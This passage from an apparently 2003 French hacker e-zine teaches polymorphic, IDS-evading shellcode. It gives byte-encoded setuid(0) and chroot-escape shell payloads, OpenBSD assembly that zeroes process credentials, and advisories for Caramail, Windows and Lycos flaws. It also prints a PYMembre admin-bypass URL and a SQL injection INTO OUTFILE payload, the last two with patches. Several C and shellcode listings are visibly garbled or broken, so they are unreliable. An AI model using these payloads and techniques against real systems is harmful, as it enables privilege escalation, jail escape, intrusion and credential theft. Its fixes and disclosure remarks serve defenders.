0x59 pop %ecx
0x5A pop %edx
0x5B pop %ebx
0x5C pop %ebp
0x5D pop %esi
0x5E pop %edi
0x5F pusha
0x60 pusha
0x90 nop
0x91 xchg %eax, %ecx
0x92 xchg %eax, %edx
0x93 xchg %eax, %ebx
0x95 xchg %eax, %ebp
0x96 xchg %eax, %esi
0x97 xchg %eax, %edi
0x98 cwtl
0x99 cltd
0x9B fwait
0x9C pushf
0x9E safh
0x9F lahf
0xF5 cmc
0xF8 clc
0xF9 stc
0xFC cld

Vous remarquerez au passage que j'ia volontairement omit "inc %esp". En effet, un nombre incontrôlés de cet opcode sera dangereux puisque, comme on ne sait pas combien de nops seront exécuter lors de l'exploitation, on risquerait de se retrouver alors avec une valeur non alignée avec 4 dans %esp. Il faudra veiller aussi à ne pas effecué un trop grand nombre de push si notre shellcode se trouve en dessous de %esp, car cela le détruit... Le mieux est donc de les zapper

Notons qu'un nombre incontrôlés de inc %esp risquerait de laisser une valeure non alignée avec 4 dans %esp et nuire au fonctionnement du shellcode. De plus, les longues séries de push sont a éviter.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>

static unsigned char nop-like[] = {
// METTRE LES NOPS LIKES
};
int main(int argc, char **argv) {
nops = malloc (size + 1);
srand(time(NULL));
for (i = 0; i < size; i++)
{
if (ascii)
{
do {
curnop=nop-like[rand()%sizeof(nop-like)];
} while (!isprint(curnop));
}
else
{
curnop=nop-like[rand()%sizeof(nop-like)];
}
nops[i]=curnop;

en développant (il est pas fini!) et en l'enrobant, on peut parvenir à quelque chose de potable et surtout utile pour réaliser des shellcode totalement invincible.

***3.2. MODIFIER L'ADRESSE DE RETOUR***
C'est la aprtie la plus dur à camoufler. En effet, on en a besoin pour le bon fonctionnement du shellcode. Toutefois, on peut éviter de trop la répéter ; par exemple, on peut remettre des NOPS après le shellcode. Egalement, on peut moduler l'adresse. Cette technique consiste à ne pas réppéter la même adresse, en les faisant pointer dans plusieurs endroits dans la plage des NOPS : l'adresse sera légèrement différente, mais permettra quand même de récupérer le flux d'exécution.

Nous avons déjà traité de la première méthode : le polymorphisme. Parlons maintenant des restrictions des opcodes.
En utilisant la même technique que les NOPS, si on sélectionne seulement les octets ayant des correspondances ASCII, on peut parvenir à réaliser un shellcode polymorphique entièrement en texte (cf texte de rix pour Phrack, voir les références).
Toutefois, en plus de restreindre les opcodes, il faut restreindre leurs paramètres. Si on examine le format de codage des opcode INtel et des deux champs : ModR/M et SIB, on peut parvenir à restreindre encore plus les instruction assembleurs.
L'article de rix pour Phrack 57 "Writing a ia32 Alphanumerics shellcodes" reprend en détail cette idéee.

Nous avons brièvement vu comment réaliser des shellcodes qui soient de plus en plus petits et invisible aux système de détection des intrusions. Toutefois, bien que ces deux éatpes soient essentielles pour réaliser un shellcodes évolués, un simple execsh ou bindsh le rend assez limité en ce qui concerne ses capacité.
On pourra donc décider dans certains cas de lui donner la possibilité de casser des protections mise en place sur un démon ou un serveur. Prenons le cas le plus basique : une protection : seteuid(getuid()). Dans cette situation, que se passe-t-il ? l'euid du process est fixé à la valeur du ruid ce qui aura pour conséquence d'exécuter le shell sans privilège particulier (s'il on insère cette ligne dans notre shellcode). Cependant, on remarque que cette protection n'est pas très sécure. En effet, il suffit de rajouter l'équivalet de setuid(0); au début de ntore shellcode ppour récupérer les droits euid initiaux (ceux du root). Cela nous donne :

char setuid[] =
"\x31\xc0" // xor %eax, %eax
"\x31\xdb" / xor %ebx, %ebx
"\xb0\x17" // movb $0x17, %al
"\xcd\x80";

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}

Ceci n'était qu'une explication en guise d'introduction. En effet, sur un système, un administrateur consciencieux ne s'arrêtera pas à un stupide seteuid(getuid()) pour bloquer des accès à certains partie de son serveur. La protection la plus usité est la mise en place de chroot(). Cette fonction se résume en une sorte de prison, dans laquelle un utilisateur est claustré et ne peut pas en sortir.
Or, il s'avère que le chroot() n'est pas secure. Hormis la méthode du double chroot() qui n'existe quasiment plus (car il est très facile de patcher son kernel pour ça), il existe environ 4 méthodes (dont 3 privées).
La méthode du double chroot() (on chroot() par dessus un chroot() pour briser la protection est connue depuis la nuit des temps, mais ne fonctionne plus sur les nouveaux noyaux (les kernels 2.4.x).
La méthode publique a été expliqué par un auteur anonyme dans un des Phrack (cherchez ;). Elle concerne une vulnérabilité dans le sysème chroot(), laquelle est d'ailleurs corrigée par despatchs de sécurités, disponibles sur le Net. A utilisateur root dansun environnement chrooté est capable deptracer n'importe quel process du système (évidemment, hormis init.) . D'où vient l'idée de créer un ptrace shellcode. On peut ensuite avec celui-ci, tracer toute sorte de process et l'injecter dans un autre shellcode qui, lui, effecturera un bindsh par exemple.

D'autres méthodes existent pour casser ce genre de prisons. Elle se basent sur des vulnérabilités de kernels (et dont les patchs n'ont pas été appliqués) et de démons.
Un des exemples les plus remarquables concerne une faille dans OpenBSD.Certains services inetd.conf et OpenSSH sont lancés comme user dans un environnement chrooté. Mais OpenBSD cotient une faille importante qui n'est pas patchable.
Installons une prison de la sorte :

jailme.c:
#include
int
main() {
chdir("/var/tmp/jail");
chroot("/var/tmp/jail");
setgroups(NULL, NULL);
setgid(32767);
setegid(32767);
setuid(32767);
seteuid(32767);
execl("/bin/sh", "jailed", NULL);
}

Maintenant on va mettre à jour l'ucred et le pcred d'un proc donnée. On va remplir l'adresse proc de son process parent, via sysctl() en remplaçant long 0x12345678.

call moo
.long 0x12345678 //addresse pproc
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop %edi
mov (%edi),%ecx //l'adresse du proc parent dans ec

// p_ruid
mov 0x10(%ecx),%ebx // ebx = p->p_cred
xor %eax,%eax
mov %eax,0x4(%ebx) // p->p_cred->p_ruid = 0

// mettre a jour cr_uid
mov (%ebx),%edx // edx = p->p_cred->pc_ucred
mov %eax,0x4(%edx) // p->p_cred->pc_ucred->cr_uid = 0

Les prisons chroot sont vérifiées ainsi pour chaque process : on remplit le membre fd_dir de filedsc (struct d'ouverture de fichier) avec le tpr vnode des répertoires chrootés. Quand le kernel veut donné un service à un process, il vérifie l'existence de ce ptr. S'il est présent, le kernel créera un nouveau root directory pour ce process et le crhootera dans un répertoire prédéfini. Pour un process régulier ce ptr est zero.
Si on met fd_dir à 0, on bypasse alors le chroot :)
fd_d_ir est référencé ainsi : p->p_fd->fd_rdir

Ce problème est dû à un overflow dans OpenBSD... et vu que les admins patchent mal (cf le virus Slammer ou Blaster :) Cette technique a bien été expliqué par Sinan dans Phrack 60.

Il existe un autre moyen de casser un chroot, mais qui demande d'être root dans l'environnement chrooté. Cela est du à une vulnérabilité dans plusieurs wu-ftpd qui n'est pas patchable... La solution est de ne pas mettre de root dans l'environnement chrooté (mais si on obtient les privilèges de root via une autre faille ?? :p). Elle touche toutes les versions unix (sauf freeBSD 4.x où le chroot() est plus robuste).

voici ce que donne l'exploit en C pour avoir un aperçu de l'action du shellcode :
int main() {
char *sh[2]={"/bin/sh", NULL};
int gg=0xed
mkdir("sh.."; gg");
chroot("sh..");
while (gg!=0= {
chdir(".."); gg--;
}
chroot("..");
execve(sh[0],sh,NULL);
}

char sc[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xeb\x36\x5e\x88\x46\x0a"
"\x8d\x5e\x05\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x83"
"\xc3\x02\xb0\x0c\xcd\x80\xe0\xfa\xb0\x3d\xcd\x80\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x89\xc2\xb0\x0d"
"\xcd\x80\xe8\xc5\xff\xff\xff/bin/sh..";

int main() {
int *ret=(int *)(&ret+2):
printf("taille:%d\n",strlen(sc));
*ret=(int(sc);

80 bytes... pas mal, mais maintenant qu'on sait optimiser un shellcode, faisons le pour le fun :

char sc[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x5e\x88\x46\x0a"
"\x8d\x5e\x05\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd"
"\x80\x83\xc3\x02\xb0\x0c\xcd\x80\xe0\xfa\xb0\x3d\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe1\xb0\x0d\xcd\x80"

Un shellcode qui breake un chroot et binde un shell en 65 octets :)
Voilà une petite démonstration de la puissance que peut avoir un shellcode bien programmé. Ensuite, on peut lui faire faire des manipulations de fichiers, bref, la seule barrière sera votre imagination...

Après cette brève illustration des cassage de chroot(), deux petits mots sur la fonction jail(). jail() est une évolution de chroot(). Cette fonction est très souple. Des fonctionnalités sont mises en place, tel quel le paramétrage au démarrage d'une fail, la possibilité de tuer un process depuis l'extérieur ou de placer un process dans une jail après son lancement. Etre dans une jail est un peut comme être derrière une glace sans teint : de l'extérieur on voit l'intérieur, mais ce n'est pas réciproque. Ainsi, dans l'hypothèse d'une attaque, l'intrus obtiendrait par exemple d'abord un accès local par un exploit distant, puis un accès root par un exploit local mais se verrait confiné dans sa jail. De plus, la jail est tout de même restrictive, quoi qu'on en dise. Par exemple, il est interdit de modifier le kernel ouc harger des LKM, modifier la configuration réseau, monter des filesystems, créer des périphériques, accéder au API raw ou routing socket, modifier la MIB (Management Information Base) sysctl, modifier le securelevel...
Toutefois, à une époque des programmeurs avaient pour projet de recoder jail() en plus secure, ce qui tent à sous-entendre que jail() était bypassable... En outre, en s'y penchant de plus ptrès, jail() n'est pas aussi restrictif qu'on pourrait le croire en lisant ce qui est dit précédemment, et différentes méthodes sont envisageables pour la bypasser. Comment la bypasser ? je n'ai pas terminé mes travaux sur jail() donc je ne dirais rien dessus. De plus, ces méthodes sont très dangereuses à dévoiler.

En appliquant minutieusement ces méthodes, il est quasiment impossible de détecter des attaques par buffer overflow avec des signatures comme le font la plupart des IDS. Il faudra des analyseurs statistiques à partir de différentes propriétés des connexions et/ou de leur contenu , tel que Snort...
Bref, nous avons ainsi réaliser non seulement des shellcodes optimisés, mais encore des shellcodes polymorphiques. Ce genre de shellcodes évolués sera indétectable. Ensuite, libre à vous de les programmer afin qu'ils aient des champ d'action plus grand...
Et surtout n'oubliez pas : tout ça, c'est pour le fun ;)

7. REFERENCES
-------------------------------------------------------------------------------------
Références :
- Sinan "noir" eren "Smashing the Kernel Stack for Fun And Profit", Phrack #60-0x06
- Aleph1 "Smashing the Stack For Fun And Profit", Phrack #49-0x0e
- rix "Writing ia32 alphanumeric shellcodes", Phrack 54-0x0f
- anonyme "Buidling ptrace injecting shellcode", Phrack #59-0x0c
- Ktwo. Adm-mutate - ADM Team
- Intel Corp "Intel architecture Software Developer's Manuel (vol.1-3)

-------------------------------------------------------------------------------------

=====================================================================
6. FAILLES : DHS SECURITY ADVISORIES - DHS Team Admin
=====================================================================

Le site de la boite du service webmail la plus répandu en France, je parle de Caramail, a une faille noté 6/10 qui permet à n'importe quel utilisateur mal intentionné de lire la source de n'importe quel fichier sur le serveur, ainsi de récupérer des informations importantes, cette faille je l'ai tester elle existe et peut être exploiter par simple url.

Les administrateurs de caramail ont été avertis, et DHS-Team a reçu une réponse comme quoi des mesures de sécurité on était prise par rapport à ce trou.

500 Servlet Exception
/usr/local/apache/htdocs/index.jsp:37: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if ((Configuration.getProperty("metatag.title","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:38: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
title = Configuration.getProperty("metatag.title","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:41: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if((Configuration.getProperty("metatag.description","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:42: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
description = Configuration.getProperty("metatag.description","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:43: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if((Configuration.getProperty("metatag.keywords","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:44: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
keywords = Configuration.getProperty("metatag.keywords","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:45: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if((Configuration.getProperty("metatag.outline","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:46: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
outline = Configuration.getProperty("metatag.outline","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:47: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if((Configuration.getProperty("metatag.robots","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:48: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
robots = Configuration.getProperty("metatag.robots","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:49: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if((Configuration.getProperty("metatag.language","Europe","Localization/"+DOMAIN_NAME))!=
null)
^
/usr/local/apache/htdocs/index.jsp:50: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
lng = Configuration.getProperty("metatag.language","Europe","Localization/"+DOMAIN_NAME);
^
/usr/local/apache/htdocs/index.jsp:196: cannot resolve symbol
symbol : variable Configuration
location: class _index__jsp
if( (tmp =Configuration.getProperty("redirect."+redirect,"Europe","_Modules")) != null)
^
13 errors

--------------------------------------------------------------------------------
Resin 2.1.7 (built Fri Feb 14 12:48:13 PST 2003)

Note de Nocte : à l'heure de la rédaction de ces lignes, je viens de tester cette faille qui n'est toujours pas colmatée. ON limitera donc pour l'instant les explications sur son exploitation. A suivre...

Date : 24/08/2003
Auteur : Nocte
Produit : Buffer Overflow dans Windows XP (Original advisory sur Wholetrack : http://oz-formation.nexenservices.com/wholetrack)

Il y a une faille de Buffer overflow dans Windows XP. En effet, si l'on crée un dossier "c:\AAAAAAAA" avec 243 "A" (ou n'importe quel autre caracètre), quo'n y place un exécutable dedans et qu'on fasse un raccourci cet exécutable dans une autre dossier, le raccourci s'exécutera sans problème (éliminant l'Explorer overflow présent dans Windows NT). Or, si on supprime l'exécutable du dossier "c:\AAAAAAA...", et qu'on veuille faire autre chsoe qu'ouvrir le fichier (le copier, regarder ses propriétés ou le supprimer", un bug se produit. Au lieu de réaliser l'action, Explorer.exe est "résété" (l'Explorateur Windows se ferme et toutes les applications en cours).
Que se passe-t-il ? Comme la chaîne de caractères du dossier est trop longue, elle overwritte des données indispensables au raccourci. On peut dès lors modifier le flux d'exécution et overwritté ces données avec un shellcode à nous !

Cette faille peut être exploitable (car on a besoin d'un raccourci qui pointe sur nul part!). Dès lors on peut coder un exploit qui :
- crée un raccourci
- et qui initialise ce raccourci pointant sur un dossier a 243 caractères mais inexistant.
- on rajoute un shellcode à la fin de cette chaîne.

Date : 26/08/2003
Auteur : Nocte
Produit : Buffer Overflow dans Windows 98 (Original advisory sur Wholetrack : http://oz-formation.nexenservices.com/wholetrack/)

Suite au BOF de Windows XP, Windows 98 possède lui aussi des vulnérabilités de Buffer Overflows.

1) Si l'on crée un dossier nommé "AAAA" avec plus 245 'A' et quo'n y place un fichier word (ou un autre), Explorer refuse l'accès au odsiser en prétextant que la chaîne de caractères est trop longue, ce qui constitue une protection contre un éventuel Buffer overflow. Cependant, si le dossier possède 245 caractères exactement, le dossier s'ouvre mais lors de l'ouverture du fichier, Windows lancera l'exécution de la DLL Winspool.drv afin d'appeler le débugger.
Ceci est une faille puisqu'en effet, si l'on détourne le lancement de la DLL par un shellcode à nous, notre shellcode s'exécutera.

2) Maintenant, créons un raccourci de ce fichier avec l'extension .bin dans un autre répertoire. Avec un éditeur hexa on s'paerçoit que la chaîne de 'A' ne remplit pas la fin du fichier. Si on l'a prolonge jusqu'à la fin et quon retourne dans le dossier où se trouve ce racourci, explorer.exe plante méchamment. On s'aperçoit alors que %edx a été overwrittée par notre chaîne de caractère.
il n'y a plus aucun moyen, par Windows, d'accéder à ce fichier

(même si on ouvre Hex Work Shop et qu'on cherche ce fichier à ouvrir, explorer.exe killera immédiatement Hex Work Shop! C'est un nouveau PME de Microsoft (Plantage Méchant d'Explorer.exe)

En effet, il y a quelques jours, j'ai trouvé deux failles majeure sur notre Website qui permettait entre autres de supprimer les admins d'accéder a PhpMyAdmin avec les droits root... Elles ont toutes été patchées. Reprenons les failles une par une.
1) La première faille concerne une vulnérabilité connue depuis quelques mois et qu'un SK (membre de 2037.biz) a dévoilé ceci sur un forum de sécurité public... Je tiens à remercier m0uchard (un membre du forum) qui m'a averti du problème et n'a pas profité de cette faille pour détruire le forum ainsi que le site ce qu'il aurait pu faire aisément. Merci encore de son état d'esprit ;)
Cette faille concerne un problème s'appliquant à tous les sites hébergés par Lycos (encore eux, décidément leur techniciens sont de vrais incapables). En effet, pour ce qui est de notre site : http://dealerhacksecurity.free.fr, il possède un miroir http://membres.lycos.fr/dealersecurity. Or, il est possible d'accéder au fichier config.php qui se trouve à l'url http://membres.lycos.fr/membres/config.php : bien qu'il soit exécuté par le serveur, il est possible de le lire en rentrant à la suite de l'url les caractères "%3f.jps/%3f.jps". m0uchard a ainsi eu accès au login et au au mot de pass de notre base de données phpmyadmin... Assez compromettant!! Avis aux administrateurs et webmasters qui auraient ce genre de problème : la solution est bien évidemment de supprimer ce fichier config.php ou de placer un .htaccess a la racine ce qui constituera une protection suffisante contre cette problème de sécurité..
2) Cette deuxième faille a été trouvé par Nocte. affectait le logiciel PYMembre version 4.2 que l'on utilisait. Cette application permet de gérer sa propre partie membre sur son site, via une partie administration. Or, frog-man, administrateur de http://phpsecure.info avait posté sur wholetrack un advisory de sécurité concernant cette application jusqu'à laversion 4.2 inclue. Pour 'laccès à la partie administration, le fichier admin/secure.php contient une faille dans son code :
----------------------------------------------
<?
if (!isset($adminpy) && $adminpy !== "$admin")
{
Header("Location: index.php");
exit;
}
?>
----------------------------------------------

On voit très vite que le ET devrait être un OU : on doit se logguer si la variable adminpy est vide ou si elle est différente du mot de passe admin... Dès lors en utilisant l'url : http://[target]/admin/admin.php?adminpy=1, on se retoruve dans la partie admin! Pour la sécuriser il suffit dans admin/secure.php de remplacer la ligne :
----------------------------------------------
if (!isset($adminpy) && $adminpy !== "$admin")
----------------------------------------------
par :
----------------------------------------------
if (!isset($adminpy) || $adminpy !== "$admin")
----------------------------------------------

Un autre vulnérabilité concernant la même version de cette application et qu'il est possible juste via l'url de récupérer les login et mots de passes de $db_table par une faille de SQL injection sur le fichier pass_done.php. Pour cela, il suffit de rentrer l'url : http://[target]/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt
(3 IN (1,2,3) renvoie toujours vrai). Pour corriger ce problème, nous vous conseillons de rajouter dans pass_done.php avant la ligne
---------------------------------------------------------------------------------
$query = mysql_query("SELECT login, passwd FROM $db_table WHERE email='$email'");
---------------------------------------------------------------------------------
d'ajouter la ligne :
----------------------------
$email = addslashes($email);
----------------------------

Comme beaucoup de webmasters sont atteints par ce problème et que cette faille a été rendue publique il y a quelques jours (on parle de la faille Lycos, pour celle de PYMembre, l'auteur de la faille, frog-man a publié un advisory sur Wholetrack et sur son site http://phpsecure.info) nous estimons nécessaire de divulguer à notre tour ces informations à haut risque. Webmasters, soyez vigilant !! Et auditez vos codes.... Par dessus-tout n'oubliez jamais de vous tenir à jour sur lees vulnérabilités des applications que vous employez et patchez immédiatement après la découverte d'une faille, fût-elle mineure!

=====================================================================
The end :) Et voilà ! Ce numéro copieux et riches en aventures touche à sa fin. Prenez le temps de lire, tester, méditez et bien cogitez sur les articles proposés. J'espère que nos nouveaux objectifs en matière de sécurité vous odnneront l'envie de vous investir davantage dans ce domaine et surtout d'avoir pour état d'esprit non pas d'exploiter stupidement une faille trouvée, mais bien plutôt de faire les démarches nécessaires afin qu'elle soit comblée au plus tôt (sur ce point, m0uchard est un exemple ;). Pour cela, le meilleur moyen et de coder un exploit puis de mailer à la société concerné, soit de développer un patch de sécurité...
Have fun Y'all ;)